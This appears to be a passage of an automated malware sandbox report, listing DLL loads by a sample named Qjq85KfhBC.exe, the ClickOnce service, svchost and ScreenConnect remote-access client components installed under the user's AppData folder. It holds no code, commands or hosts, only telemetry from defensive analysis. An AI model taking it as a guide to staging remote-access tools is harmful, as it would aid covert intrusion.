Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dfshim.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: cryptnet.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: uiautomationcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wersvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: windowsperformancerecordercontrol.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: weretw.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wer.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: faultrep.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dbgcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wer.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: qmgr.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: bitsperf.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: firewallapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: esent.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: fwbase.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: flightsettings.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: netprofm.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: npmproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: bitsigd.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: upnp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ssdpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: appxdeploymentclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wsmauto.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wsmsvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dsrole.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: pcwum.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msv1_0.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntlmshared.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptdll.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rmclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: usermgrcli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: twinapi.appcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: resourcepolicyclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: vssapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: vsstrace.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: samcli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: samlib.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: es.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: bitsproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wlidsvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: clipc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msxml6.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: netprofm.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: gamestreamingext.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msauserext.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: tbs.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: npmproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptnet.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: elscore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: elstrans.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptngc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: devobj.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: dfshim.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: iertutil.dll
